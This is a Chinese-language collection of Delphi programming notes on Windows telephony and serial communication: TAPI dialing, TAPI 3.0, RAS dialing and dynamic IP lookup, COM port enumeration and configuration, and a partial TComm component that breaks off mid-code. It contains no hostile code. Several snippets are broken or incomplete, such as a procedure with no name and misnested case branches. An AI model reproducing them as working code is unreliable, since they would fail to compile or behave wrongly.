LONG lineInitialize(LPHLINEAPP lphLineApp，HINSTANCE hInstance，LINECALLBACK lpfnCallback，LPCSTR lpszAppName，LPDWORD lpdwNumDevs)。lphLineApp是线路TAPI应用的句柄指针，hInstance是实例指针，lpfnCallback指向呼叫返回处理函数，lpszAppName指向用户提供的应用程序名字符串，lpdwNumDevs指向可供使用的线路设备个数。在delphi文件tapi.pas中对此函数的定义如下：
    function lineInitialize(var lphLineApp: THLineApp;hInstance: HInst;
lpfnCallback: TLineCallback;
    lpszAppName: PChar;var lpdwNumDevs: Longint): Longint;
    其中我们定义THLineApp、TLineCallback为指向Longint的指针（&LongInt)。其他函数的定义类推，分别用delphi中的相应类型代替，如果是长指针如句柄指针可以用“&LongInt”来定义。
    下面介绍程序的代码部分，在此笔者假定读者具备delphi数据库和一般编程基础。首先用Database Desktop建立两个Paradox7表，分别为“workphone.db”和“friendphone.db”。在主form上放置TTable、TDataSource、TDBGrid、TPopupMenu控件。程序定义sAppDir:string保存应用程序所在目录，设置sAppDir:=GetCurrentDir。在弹出式菜单中定义两个过程分别在TDBGrid中载入两个数据库表。
    procedure TMainForm.friendphoneClick(Sender: TObject);
    begin
    MainForm.Table1.Active:=False;
    MainForm.Table1.TableName:=sAppDir＋‘friendphone.db’;
    MainForm.Caption:=‘自动拨号——朋友电话’;
    MainForm.Table1.Active:=True;
    end;

    procedure TMainForm.selectclassmateClick(Sender: TObject);
    begin
    MainForm.Table1.Active:=False;
    MainForm.Table1.TableName:=sAppDir＋‘workphone.db’;
    MainForm.Caption:=‘自动拨号——工作电话’;
    MainForm.Table1.Active:=True;
    end;
    将TDBGrid的Options属性中的dgEditing设为True，允许用户直接修改表中的内容。在弹出菜单中定义DialPhone和DeleteRecord分别用于拨打电话号码和删除当前记录。下面主要介绍拨打电话的TAPI应用部分。电话号码是通过 MainForm.Table1.Fields.Fields[0].AsString作为字符串来传递的。
    实现的代码部分如下，其中为了文章不会太长笔者省去了不必要的错误提示和部分代码。
    变量定义
     lineApp:THLineApp;//TAPI应用句柄
     line:THLine;//线路句柄
     call:THCall;//呼叫句柄
     CallParams:TLineCallParams;//呼叫参数
     nDevs，tapiVersion，errorcode:Longint;//线路设备数、TAPI版本号、错误代码
     extid:TLineExtensionID;//TAPI扩展版本号
     lineIcon:HICON;//线路设备图标
     过程定义
     procedure lineCallback(hDevice， dwMsg， dwCallbackInstance，
     dwParam1， dwParam2， dwParam3: LongInt);//异步呼叫返回处理函数
    {＄IFDEF WIN32}
     stdcall;
    {＄ELSE}
     export;
    {＄ENDIF}
     var
     hCall: THCall;
     begin
     if dwMsg = LINE_REPLY then { LineMakeCall的响应结果}
     if dwParam2 < 0 then {呼叫响应错误处理};
     else if dwMsg = LINE_CALLSTATE then { 呼叫状态信息 }
     begin
     hCall := THCall(hDevice); //类型转换 THCall为LongInt类型
     case dwParam1 of
     LINECALLSTATE_IDLE: {呼叫无效处理}
     if hcall <> 0 then
     begin
     lineDeallocateCall(hCall);
     end;
    LINECALLSTATE_PROCEEDING:{呼叫正常处理}
    LINECALLSTATE_DIALTONE:{检测到拨号音}
     LINECALLSTATE_DIALING: {正在拨号}
    LINECALLSTATE_DISCONNECTED:{连接已断开}
     begin{断开原因}
    if dwParam2=LINEDISCONNECTMODE_NORMAL then{正常断开}
    else if dwParam2=LINEDISCONNECTMODE_BUSY then {线路忙}
     LINECALLSTATE_BUSY:{线路忙处理}
     end;
     end;
    procedure TDialForm.(dialnumber:string);//dialnumber为电话号码字符串
    begin
    with CallParams do {CallParams的类型参考VC中的定义，将DWORD改为LongInt}
     begin
     dwTotalSize := sizeof(CallParams);
    dwBearerMode := LINEBEARERMODE_VOICE;//承载模式为语音
    dwMediaMode：=LINEMEDIAMODE_INTERACTIV
    EVOICE;//媒体模式为交互式语音
     end;
     if lineInitialize(lineApp，HInstance，lineCallBack，nil，nDevs)<0
     then //线路不能初始化处理
     else
     if nDevs=0 then //无TAPI线路设备
     begin
     lineShutDown(lineApp);
     lineApp:=0;
     end
     else
     if lineNegotiateAPIVersion(lineApp，0，＄00010004，＄00020000，
     tapiVersion，extid)<0 //协商TAPI版本号 TAPI1.4～TAPI2.0
     then begin {TAPI版本不兼容}
     lineShutDown(lineApp);
     lineApp:=0;
     end
     else
     errorcode:=lineOpen(lineApp，LINEMAPPER，line，tapiVersion，0，0，
    LINECALLPRIVILEGE_NONE，LINEMEDIAMODE_
    INTERACTIVEVOICE，@CallParams);//打开线路
     if errorcode<0 then {线路不能打开}
     else
     begin{线路打开成功}
     lineConfigDialog(0，Self.Handle，nil); //显示线路设备属性
     lineGetIcon(0，`tapi/line`，lineIcon);
     //lineIcon为线路设备图标句柄，可以赋值给TICON.Handle
     if lineMakeCall(line，call，PChar(dialnumber)，0，@CallParams)<0 then{呼叫失败处理}
     else
     lineHandOff(call，`电话拨号程序`，LINEMEDIAMODE_INTERACTIVEVOICE);
     //在程序中应当以按钮来触发lineHandOff，从TAPI控制转为人工控制电话
     end;
    end;
    以上代码由于脱离了实际的程序显得有些凌乱，相信对delphi编程稍有了解的朋友很容易看懂。本程序运行后的效果是，首先出现一个数据库表格，用右键打开一个通讯录库文件，右键选择拨号弹出对话框显示线路处理的状态，在拨完号之后提示用户是否拿起听筒进行对话。整个过程类似系统自带的电话拨号程序，不过笔者介绍的TAPI方法可以让我们编写更多的功能和更友好的界面。今后笔者将针对TAPI编程进行深入的介绍，希望能对不太了解TAPI的朋友在开发程序时起到帮助。


TAPI基本函数

1.tapi初始化与关闭

lineinitializeex 初始化一个tapi应用, 同步返回.

lineshutdown 关闭一个tapi应用, 同步返回.

2.线路版本协商

linenegotiateapiversion 应用和tapi协商一个可以使用的tapi版本, 同步返回.

3.线路设备状态与能力

linegetdevcaps 得到指定线路设备的实际参数能力, 同步返回.

linegetdevconfig 得到媒体流设备的配置, 同步返回.linegetlinedevstatus 得到指定的已打开线路的当前状态, 同步返回.

linesetdevconfig 设置指定媒体流设备的配置, 同步返回.

linesetstatusmessages 设置那些状态改变消息可以通知应用, 同步返回.

linegetstatusmessages 得到当前使用的状态改变消息设置, 同步返回.

linegetid 返回与指定的线路,地址或呼叫相关联的设备id号, 同步返回.

linegeticon 得到显示的icon, 同步返回.

lineconfigdialogedit 显示一个对话框,用户可以改变线路设备的设置, 同步返回.

4.地址

linegetaddresscaps 得到一个地址的电话参数, 同步返回.

linegetaddressstatus 得到指定地址的当前状态, 同步返回.

linegetaddressid ?, 同步返回.

5.打开/关闭线路设备

lineopen 以指定的打开方式打开一条指定的线路设备, 同步返回.

lineclose 关闭一个已经打开了的线路设备, 同步返回.

6.地址格式

linetranslateaddress 在规范格式与拨号格式间转化地址, 同步返回.

linesetcurrentlocation 设置当地电话区号??, 同步返回.

linesettolllist 操作响铃列表, 同步返回.

linegettranslatecaps 返回地址的转化能力, 同步返回.

7.呼叫状态与设置

linegetcallinfo 返回确定的呼叫信息, 同步返回.

linegetcallstatus 返回指定呼叫的完整状态信息, 同步返回.

linesetappspecific 设置一个呼叫信息结构的特定域, 同步返回.

8.建立呼叫

linemakecall 建立一个拨出呼叫话并返回句柄, 异步返回.

linedial 拨打(可拨号)地址, 异步返回.

9.来话应答

lineanswer 来话应答, 异步返回.

linesetnumrings 设定来话被默认应答前的响铃次数, 同步返回.

linegetnumrings 返回来话被默认应答前的响铃次数最小值, 同步返回.

10.呼叫特殊控制

linesetcallprivilege 设置应用程序的特权??, 同步返回.

11.挂断呼叫

linedrop 挂断或是取消呼叫, 异步返回.

linedeallocatecall 释放指定呼叫句柄, 同步返回.

12.呼叫句柄处理

linehandoff , 同步返回.

linegetnewcalls 返回应用没有线路设备或地址句柄的呼叫句柄列表, 同步返回.

linegetconfrelatedcalls 返回同一电话会议的呼叫句柄列表, 同步返回.

13.位置与国家的信息

linetranslatedialog 显示一个对话框,用户可以修改位置与国家信息, 同步返回.

linegetcountry 返回指定国家,拨号规则和其他信息, 同步返回.

linegetrequest 得到dll的下次请求, 同步返回.


用tapi 3.0 建立呼叫中心

微软 2000/09/09

    在以ip技术为基础的局域网、广域网以及互联网上的ip电话能够将语音、数据和视频集成在一起，这是一项正在逐步发展并走向成熟的技术。ip电话使用开放的ietf和itu?t的标准，使得多媒体能够在任何使用ip的链路上传输，在物理介质和物理位置上都给用户提供了很大的灵活性。例如，用户可以选择使用adsl、isdn、卫星或双绞线就可以作为传输媒体，同时用户的位置也可以随意地选取，通过web、e-mail和数据网将全世界的个人、商业、学校和政府联在了一起。

一、ip电话带来的益处

    ip电话降低了单位和个人的已经存在的信息服务消费支出，例如语音传输和视频广播方面，同时也扩宽了通信的方式，包括现代视频会议、应用程序共享等等。

    企业或组织需要配置不同的网络来满足不同的需要，例如语音、数据和视频传输都采用不同的网络结构。每一个都有不同的要求，这些网络从安装、维护到配置，费用都很昂贵。而且由于这些网络物理上的不同，集成也很困难，同时限制了它们的很多潜在用途。

    ip电话通过一种传输方式可以将语音、视频和数据集成在一起，有效地将三网合一，降低了费用，提高了管理效率和工作效率。

    ip电话应用程序的开发，包括电话、实时文档征集、远程教育、员工培训和视频会议，以及视频邮件，都需要一个比较好的开发平台。

二、windows 2000上的tapi3.0

    微软的tapi3.0正是一种适应ip技术发展而出现的一种接口函数，它能够支持传统的pstn电话和ip电话两种电话，为用户提供了一个良好的开发环境。随着电话和呼叫控制在个人计算机中越来越普遍，需要一个通用的电话接口来支持应用程序，使其能够访问任何一台计算机上的电话，通过一个统一的标准，一个呼叫的媒介和数据对应用程序也必须是可用的。

    微软的tapi3.0提供了一个简单和基本的方法，来完成两台或多台计算机连接的建立和传输媒体的访问。它将呼叫控制的功能抽象出来，以屏蔽不同的、不兼容的通讯协议，为应用程序提供一个统一的接口。

    ip电话保持稳步增长，许多企业和组织开始从昂贵的、不灵活的、电路交换的公用电话网向智能的、灵活的、廉价的ip网络转变。微软预期到该趋势，因此建立起强大的计算机电话体系结构?tapi。目前它的第三版本，tapi 3.0适合于快速方便地ip电话应用程序的开发。

    微软的tapi3.0集成了传统电话的媒体流控制功能。另外，将原来的tapi2.1发展为com组件模式，允许tapi应用程序以任何一种语言来写，如c/c++或微软的vb。

    除了支持传统电话的功能外，微软的tapi3.0还支持标准的h.323会议和ip广播会议，微软的tapi3.0还提供qos质量保证，从而提高会议质量和网络的管理能力。

tapi的结构图如下：

微软的tapi3.0共有四个组件：

    tapi3.0 com api、tapi server、telephony service providers、media stream providers

与tapi 2.1相比，微软的tapi3.0是按com对象方式来实现的。从tapi转向com组件模式使得组件能够升级tapi的特性，并允许开发者能够以任何一种语言来编写tapi应用程序。

    tapi server从微软的tapi3.0和tapi2.1中抽象出来tspi(telephony service providers interface),从而使得tapi2.1 telephony service providers能够与tapi 3.0一起使用，保持tapi的内部状态。

    telephony service providers(tsps)负责独立于低层协议的呼叫模型并解释为特定协议的呼叫控制机制。tapi3.0对tapi 2.1 tsps提供可靠的后向兼容性，两个ip tsps缺省地与微软的tapi3.0相匹配：一个是h.323 tsps,另一个是ip广播会议的tsp。

    微软的tapi3.0为访问在一个呼叫中的媒体层提供了一个统一的方式。tapi media stream providers（msps）为指定的tsp提供directshow的接口。

微软的tapi3.0中有五个呼叫控制模型：

tapi、address、call、callhub、terminal

    tapi对象是应用程序访问tapi3.0接入点。该对象代表了本地计算机访问的所有计算机资源，允许一个应用程序解析所有的本地和远程地址。

    address对象表示一个呼叫的源地址或目标地址。媒体层和中断所支持的地址的容量可以从这个对象中获取。一个应用程序可以在一个地址等待呼叫，同样也可以向一个目标地址呼出。

    call对象代表一个本地地址和一个或多个的其他地址的连接。call对象可以想象成电话的主控模式。所有的呼叫控制都要通过call对象。在callhub中的每一个成员就是一个call对象。

    callhub对象代表了一系列相关呼叫的集合。callhub对象不能直接由应用程序创建。它是当有呼叫通过tapi3.0接入时间接建立的。通过callhub对象用户可以解析出在一个呼叫或会议中的其他参与者，可以对其他相关的远程call对象进行呼叫控制。

三、如何使用tapi对象

    用tapi能够比较方便地执行一个呼叫和作一个呼叫应答，它对电话的操作方便快捷，给编程者带来了很大的方便。下面是执行一个呼叫和呼叫应答的大体过程。

执行一个呼叫

1． 创建和初始化一个tapi对象

2． 用tapi对象解析在一个计算机上的可用地址

3． 解析每一个地址对象所支持的地址类型

4． 选择一个地址对象

5． 用address对象中的createcall方法创建一个call对象

6． 选择call对象的适当终端

7． 用call对象的connect方法执行一次呼叫

呼叫应答

1． 创建和初始化一个tapi对象

2． 用tapi对象解析在一个计算机上的可用地址

3． 解析每一个地址对象所支持的地址类型

4． 选择一个地址对象

5． 根据不同的媒体类型用适当的address对象来登记

6． 用一个address对象登记呼叫事件句柄

7． tapi通过itcallnotification通知一个呼叫，并创建一个call对象

8． 选择call对象的适当终端

9． 用call对象的connect方法执行呼叫

10． 用call对象的answer方法执行应答

    将tapi 3.0应用到呼叫中心的开发中将会为改变传统呼叫中心的结构起到一个非常大的促进作用，不仅给开发人员带来极大的方便，同时降低了成本，也为呼叫中心运营商的管理和维护带来极大的方便。

四、结束语

    随着windows 2000的发布日益临近，整个cti产业将会为tapi 3.0的时代到来而作好准备，基于tapi 3.0所开发的call center将以其优异的性能价格比和几乎无限的扩展空间，得到越来越多用户的青睐。


获取拨号连接的动态IP地址

---- 　　在WIN9X下，如果安装了拨号网络，则在WINDOWS系统的系统目录System下将有两个拨号网络管理程序库RasApi32.DLL和RasApi16.DLL，我们可利用其中的RAS系列函数来获取和设置拨号连接网络的信息。当然是可以获取拨号连接的动态IP地址了。在Delphi帮助文件中，有相关RAS函数的详细说明。

---- 一、先解释一些要用到的数据常量和数据结构。

const
RAS_MaxDeviceType = 16;//设备类型名称长度
RAS_MaxEntryName = 256;//连接名称最大长度
RAS_MaxDeviceName = 128;//设备名称最大长度
RAS_MaxIpAddress = 15;//IP地址的最大长度
RASP_PppIp = $8021;//拨号连接的协议类型，该数值表示PPP连接

type
HRASCONN = DWORD;//拨号连接句柄的类型
RASCONN = record//活动的拨号连接的句柄和设置信息
dwSize : DWORD;//该结构所占内存的大小(Bytes),
一般设置为SizeOf(RASCONN)
hrasconn : HRASCONN;//活动连接的句柄
szEntryName : array[0..RAS_MaxEntryName] of char;
//活动连接的名称
szDeviceType : array[0..RAS_MaxDeviceType] of char;
//活动连接的所用的设备类型
szDeviceName : array[0..RAS_MaxDeviceName] of char;
//活动连接的所用的设备名称
end;
TRASPPPIP = record//活动的拨号连接的动态IP地址信息
dwSize : DWORD;//该结构所占内存的大小(Bytes),
一般设置为SizeOf(TRASPPPIP)
dwError : DWORD;//错误类型标识符
szIpAddress : array[ 0..RAS_MaxIpAddress ] of char;
//活动的拨号连接的IP地址
end;
---- 二、接着要解释要用到的两个RAS函数。

//获取所有活动的拨号连接的信息（连接句柄和设置信息）
function RasEnumConnections( var lprasconn : RASCONN ;
//接收活动连接的缓冲区的指针
var lpcb: DWORD;//缓冲区大小
var lpcConnections : DWORD//实际的活动连接数
) : DWORD; stdcall;
function RasEnumConnections;external 'Rasapi32.dll'
name 'RasEnumConnectionsA';
//获取指定活动的拨号连接的动态IP信息
function RasGetProjectionInfo(
hrasconn : HRasConn;//指定活动连接的句柄
rasprojection : DWORD;//RAS连接类型
var lpprojection : TRASPPPIP;//接收动态IP信息的缓冲区
var lpcb : DWord//接收缓冲区的大小
) : DWORD;stdcall;
function RasGetProjectionInfo;external
'Rasapi32.dll' name 'RasGetProjectionInfoA';
    这两个函数的返回值为０时表示执行成功，非０表示错误代码。

---- 三、下面要讨论如何用上面的两个RAS函数获取拨号连接的动态IP地址

---- 　　首先，要用函数RasEnumConnections列出已建立的活动拨号连接的信息，其中包括连接名称、连接句柄、连接设备类型和设备名称；然后根据连接句柄用函数RasGetProjectionInfo获取连接对应的一个TRASPPPIP结构，其中包括一个成员属性szIpAddress即为动态IP地址。具体请参见以下程序片段和注释信息。

procedure TForm1.Button1Click(Sender: TObject);
const
MaxConnections = 10;//假设最多有10个活动的拨号连接
var
connections : array[0..MaxConnections-1] of RASCONN;
//拨号连接数组
longSize : dword;
intAvailabelConnections : dword;
//活动的拨号连接的实际数目
intIndex : integer;
strTemp : string;
dwResult : DWORD;
dwSize : DWORD;
RASpppIP : TRASPPPIP;
//活动的拨号连接的动态IP地址信息
begin
connections[ 0 ].dwSize := sizeof(RASCONN);
longSize := MaxConnections * connections[ 0 ].dwSize;
//接收活动连接的缓冲区大小
intAvailabelConnections := 0;
//获取所有活动的拨号连接的信息（连接句柄和设置信息）
dwResult := RasEnumConnections( connections[ 0 ],
longSize,intAvailabelConnections );
if 0 < > dwResult then
memo1.lines.add( '错误:' + inttostr( dwResult ) )
else
begin
memo1.lines.add( '现有的活动连接有' +
IntToStr( intAvailabelConnections ) + '个');
//显示所有活动的拨号连接的信息（设置信息和动态IP地址）
for intIndex := 0 to intAvailabelConnections - 1 do
begin
//显示一个活动的拨号连接的设置信息
strTemp := '连接名称：'
+ StrPAS( connections[ intIndex ].szEntryName )
+ '，设备类型：'
+ StrPAS( connections[ intIndex ].szDeviceType )
+ '，设备名称：'
+ StrPAS( connections[ intIndex ].szDeviceName );
memo1.lines.add( strTemp );
//显示一个活动的拨号连接的动态IP地址
dwSize := SizeOf(RASpppIP);
RASpppIP.dwSize := dwSize;
dwResult := RASGetProjectionInfo
( connections[ intIndex ].hRasConn,
RASP_PppIp,RasPPPIP,dwSize);//获取动态IP地址
if 0 < > dwResult then
memo1.lines.add(
'错误:' + inttostr( dwResult ))
else
memo1.lines.add(
'动态地址:' + StrPas(RASpppIP.szIPAddress));
end;
end;
end;


RAS拨号

电话号码设置是正确的，关键是RasDial的参数要设置正确，
请看下面的例子：

function MyDial(FEntryName: String;
FPhoneNumber: String;
FCallbackNumber: String;
FUserName: String;
FPassword: String;
FDomain: String;
FHRasConn: THRasConn): Longint;
var
DialParams: TRasDialParams;
lpfPassword: LongBool;
begin
if FHRasConn > 0 then HangUp;

FillChar(DialParams, SizeOf(TRasDialParams), #0);

with DialParams do
begin
dwSize:=Sizeof(TRasDialParams);
StrPCopy(szEntryName, FEntryName);
end;

if FEntryName <> '' then
begin
Result := RasGetEntryDialParams(nil, DialParams, lpfPassWord);
if Result <> 0 then Exit;
end
else
with DialParams do
begin
dwSize := SizeOf(TRASDialParams);
szEntryName := '';
UniqueString(FPhoneNumber);
StrLCopy(szPhoneNumber, PChar(FPhoneNumber), RAS_MaxPhoneNumber);
UniqueString(FCallBackNumber);
UniqueString(FCallBackNumber);
StrLCopy(szCallbackNumber, PChar((FCallBackNumber)),

RAS_MaxCallbackNumber);
UniqueString(FUserName);
StrLCopy(szUserName,PChar((FUserName)) , UNLEN);
UniqueString(fPassWord);
StrLCopy(szPassword, PChar((fPassWord)), PWLEN);
UniqueString(FDomain);
StrLCopy(szDomain, Pchar(FDomain), DNLEN);
end;

FHRasConn := 0;

  Result := RasDial(nil, nil, DialParams, 0, nil,
FHRasConn);
end;


得到当前可使用的串口

(********************************************************************
**
** GetAvailableComPorts -
**
** This is a procedure whose purpose is to determine
** which COM ports are available on the user's computer. It then
** fills up the PortsComboBox with those available COM port numbers.
**
********************************************************************)

procedure TJeffsForm.GetAvailableComPorts();
var
i :
Integer;
S : String;
ComName: array[0..9] of Char;
TheComHandle: Integer;

begin

(*
** Okay, Clear everything in the PortsComboBox because
** we want to start off fresh.
*)

PortsComboBox.Clear();

(*
** Windows 95/98 can only handle up to 50 COM ports.
** All we are doing here is checking to see if Windows
** "can" open up the COM port. If so, then we know it's
** available. And so we add it to our ComboBox list
** and of course close the COM port each time we check it.
*)

for i := 1 to 50 do begin

StrFmt( ComName, '\\.\COM%d', [i] );

TheComHandle := CreateFile
(
ComName, // name
GENERIC_READ or GENERIC_WRITE, // access attributes
0, // no sharing
nil, // no security
OPEN_EXISTING, // creation action
FILE_ATTRIBUTE_NORMAL or
FILE_FLAG_OVERLAPPED, // attributes
0 // no template
);

if ( TheComHandle <> INVALID_HANDLE_VALUE ) then begin

S := Format('COM%d',
[i]);
PortsComboBox.Items.Add(S);

end;

CloseHandle( TheComHandle );

end; {end of for loop}

end;


系统串口信息

procedure TForm1.Button1Click(Sender: TObject);
var
reg : TRegistry;
ts : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('hardware\devicemap\serialcomm',
false);
ts := TStringList.Create;
reg.GetValueNames(ts);
for i := 0 to ts.Count -1 do begin
Memo1.Lines.Add(reg.ReadString(ts.Strings[i]));
end;
ts.Free;
reg.CloseKey;
reg.free;
end;


如何知道Modem接在哪个COM

 HKEY_CURRENT_USER\Software\Microsoft\RAS Monitor\LastDevice其中有modem的名字和com口 (NT)


获得Modem的状态

procedure TForm1.Button1Click(Sender: TObject);
var
CommPort : string;
hCommFile : THandle;
ModemStat : DWord;
begin
CommPort := 'COM2';

{Open the comm port}
hCommFile := CreateFile(PChar(CommPort),
GENERIC_READ,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hCommFile = INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;

{Get the Modem Status}
if GetCommModemStatus(hCommFile, ModemStat) <> false then begin
if ModemStat and MS_CTS_ON <> 0 then
ShowMessage('The CTS (clear-to-send) is on.');
if ModemStat and MS_DSR_ON <> 0 then
ShowMessage('The DSR (data-set-ready) is on.');
if ModemStat and MS_RING_ON <> 0then
ShowMessage('The ring indicator is on.');
if ModemStat and MS_RLSD_ON <> 0 then
ShowMessage('The RLSD (receive-line-signal-detect) is
on.');
end;

{Close the comm port}
CloseHandle(hCommFile);
end;
/////////////////////////////////////////////////
FHandle := CreateFile(PChar(DeviceName), GENERIC_READ or GENERIC_WRITE, 0,
nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL or FILE_FLAG_OVERLAPPED, 0);
if FHandle = INVALID_HANDLE_VALUE then
begin
Showmessage("ERROR_FILE_NOT_FOUND" );
end
else
GetCommState(FHandle,lpDCB) where lpDcb
points to the DCB(Device-control block) structure in which the control settings information is returned.
After that U can check the various properties of DCB like :

typedef struct _DCB { // dcb
DWORD DCBlength; // sizeof(DCB)
DWORD BaudRate; // current baud rate
DWORD fBinary: 1; // binary mode, no EOF check
DWORD fParity: 1; // enable parity checking
DWORD fOutxCtsFlow:1; // CTS output flow control
DWORD fOutxDsrFlow:1; // DSR output flow control
DWORD fDtrControl:2; // DTR flow control type
DWORD fDsrSensitivity:1; // DSR sensitivity

DWORD fTXContinueOnXoff:1; // XOFF continues Tx
DWORD fOutX: 1; // XON/XOFF out flow control
DWORD fInX: 1; // XON/XOFF in flow control
DWORD fErrorChar: 1; // enable error replacement
DWORD fNull: 1; // enable null stripping
DWORD fRtsControl:2; // RTS flow control
DWORD fAbortOnError:1; // abort reads/writes on error
DWORD fDummy2:17; // reserved
WORD wReserved; // not currently used

WORD XonLim; // transmit XON threshold
WORD XoffLim; // transmit XOFF threshold
BYTE ByteSize; // number of bits/byte, 4-8
BYTE Parity; // 0-4=no,odd,even,mark,space
BYTE StopBits; // 0,1,2 = 1, 1.5, 2
char XonChar; // Tx and Rx XON character
char XoffChar; // Tx and Rx XOFF character
char ErrorChar; // error replacement character

char EofChar; // end of input character
char EvtChar; // received event character
WORD wReserved1; // reserved; do not use
} DCB;

The device name Should be the name of the device like
COM1,COM2 etc


设定串口

procedure TForm1.Button1Click(Sender: TObject);
var
CommPort : string;
hCommFile : THandle;
Buffer : PCommConfig;
size : DWORD;
begin
CommPort := 'COM1';
{Open the comm port}
hCommFile := CreateFile(PChar(CommPort),
GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hCommFile=INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;
{Allocate a temporary buffer}
GetMem(Buffer, sizeof(TCommConfig));

 {Get the size of the CommConfig structure}
{as it may be
different than documented}
size := 0;
GetCommConfig(hCommFile, Buffer^, size);

{Free the temporary buffer}
FreeMem(Buffer, sizeof(TCommConfig));

{Allocate the CommConfig structure}
GetMem(Buffer, size);
GetCommConfig(hCommFile, Buffer^, size);

{Change the baud rate}
Buffer^.dcb.BaudRate := 1200;

{Set the comm port to the new configuration}
SetCommConfig(hCommFile, Buffer^, size);

{Free the buffer}
FreeMem(Buffer, size);

{Close the comm port}
CloseHandle(hCommFile);
end;
//////////////////////////////////////////////////////////////////////////
procedure TForm1.Button1Click(Sender: TObject);
var
CommPort : string;
hCommFile : THandle;
Buffer : PCommConfig;
size : DWORD;
begin
CommPort := 'COM1';
{Open the comm port}
hCommFile := CreateFile(PChar(CommPort),
GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hCommFile=INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;
{Get a temporary buffer}
GetMem(Buffer, sizeof(TCommConfig));
{Get the size of the CommConfig structure}
{as it may be different than documented}
size := 0;
GetCommConfig(hCommFile, Buffer^, size);
{Free the temporary buffer}
FreeMem(Buffer, sizeof(TCommConfig));
{Get the CommConfig structure}
GetMem(Buffer, size);
GetCommConfig(hCommFile, Buffer^, size);

{Pop up the comm port config dialog}
if CommConfigDialog(PChar(CommPort),
Form1.Handle,
Buffer^) = true then begin
{Set the com port to the values entered}
{in the dialog if the user pressed ok}
SetCommConfig(hCommFile, Buffer^, size);
end;

{Free the buffer}
FreeMem(Buffer, size);

{Close the comm port}
CloseHandle(hCommFile);
end;


读写串口

unit Comm;
interface
uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls;
type
TCmdMode = (cmStr, cmBytes);
TComm = class(TGraphicControl)
private { Private declarations }
FPort : string;
FBaudRate: Word; { Baudrate at which runing }
FByteSize: Byte; { Number of bits/byte, 4-8 }
FParity: Byte; { 0-4=None,Odd,Even,Mark,Space }
FStopBits: Byte; { 0,1,2 = 1, 1.5, 2 }

FWaitByteNum : word;
FTimeOut :
word;
FMode : TCmdMode;
ColorSet : array [0..3] of TColor;
FCmdStr :
string;     { Communicate-relate varibles
}
State : integer;
dcb :
TDCB;
CommBeginTime :
TDateTime;
Timer1 : TTimer;
{ NotifyEvents }
FOnDataLoad :
TNotifyEvent;
FOnTimeOut :
TNotifyEvent;
procedure CommQuery(Sender :
TObject);
procedure
LoadData;
procedure SendCmd;
procedure SendStrCmd;

procedure SendBytesCmd;
procedure SetByteNum(val
: word);
procedure DecodeCmd(str1 : string;
var
char1 : array of char);
protected     {
Protected declarations }
procedure Paint;
override;
public     { Public declarations
}
hCommDev : integer;     {
Memory Pool }
connected, WaitOn :
boolean;
stat : TComStat;
CmdChar : array[0..64] of Char;
SendLen :
word;
pool : array [0..2048] of
char;
ms : TMemoryStream;
constructor Create(AOwner : TComponent); override;

procedure Connect;
procedure
Excute;
function GetData(Offset : word) :
Char;
procedure ClearSigns;
procedure Free;
procedure
HardWait;
procedure Query;
published     { Published declarations
}
property BaudRate : word read FBaudRate write
FBaudRate;
property Parity : byte read FParity write
FParity;
property ByteSize : byte read FByteSize
write FByteSize;
property StopBits : byte read
FStopBits write FStopBits;
property CmdStr : string
read FCmdStr write FCmdStr;
property WaitByteNum :
word read FWaitByteNum write SetByteNum;

property Port : string read FPort write FPort;
property TimeOut : word read FTimeOut write FTimeOut;
property OnTimeOut : TNotifyEvent read FOnTimeOut write FOnTimeOut; property OnDataLoad : TNotifyEvent read FOnDataLoad write FOnDataLoad; property OnClick; property ShowHint; property OnMouseDown; property Mode : TCmdMode read FMode write FMode; end; procedure Register; implementation procedure Register; begin RegisterComponents('Samples', [TComm]); end; constructor TComm.Create(AOwner : TComponent); begin inherited Create(AOwner); ControlStyle := ControlStyle + [csFramed]; FPort := 'COM1'; FBaudRate := 9600; FByteSize := 8; FStopBits := 0; FParity := 0; FTimeOut := 7; Width := 20; Height := 20; WaitOn := False; Connected := False; State := 0; Hint := '空闲'; ShowHint := True; ColorSet[0] := clBlue; ColorSet[1] := clYellow; ColorSet[2] := clOlive; ColorSet[3] := clMaroon; { Create Memory Stream } ms := TMemoryStream.Create; ms.SetSize(1); FWaitByteNum := 1; { Create a Timer } Timer1 := TTimer.Create(self); Timer1.Interval := 100;

Timer1.OnTimer := CommQuery;
end;
procedure TComm.Paint;
var
rGraph : TRect;
begin
with Canvas do
begin
rGraph := Rect(1, 1, Width - 1, Height -
1);
Pen.Color := clBlack;
MoveTo(rGraph.Right, rGraph.Top);
LineTo(rGraph.Left, rGraph.Top);
LineTo(rGraph.Left, rGraph.Bottom);
Pen.Color :=
clWhite;
LineTo(rGraph.Right,
rGraph.Bottom);
LineTo(rGraph.Right,
rGraph.Top);
Brush.Color :=
ColorSet[State];
Pen.Color := clSilver;

InflateRect(rGraph, -3, -3);
Ellipse(rGraph.Left,
rGraph.Top, rGraph.Right, rGraph.Bottom);
end;
end;
procedure TComm.SetByteNum(val : word);
begin
FWaitByteNum := val;
ms.Clear;
ms.SetSize(val);
end;
procedure TComm.Connect;
var
PortChar : array[0..12] of
Char;
Label ret1;
begin
Connected := False;
{ Initialize the Communication Port }
StrPCopy(PortChar,
FPort);
hCommDev := OpenComm(PortChar, 8192, 2048);
if hCommDev < 0 then goto ret1;

GetCommState(hCommDev, dcb);
dcb.BaudRate :=
FBaudRate;
dcb.ByteSize := FByteSize;
dcb.Parity
:= FParity;
dcb.StopBits := FStopBits;
if SetCommState( dcb ) < 0 then begin
CloseComm(hCommDev);
goto ret1;
end;
EscapeCommFunction( hCommDev, SETDTR
);
Connected := True;
ret1:
end;
procedure TComm.DecodeCmd( str1 : string; var char1 :
array of char);
var
i, j : integer;
btstr :
string;
bytebegin : boolean;
begin
if
str1[1] = '$' then

begin
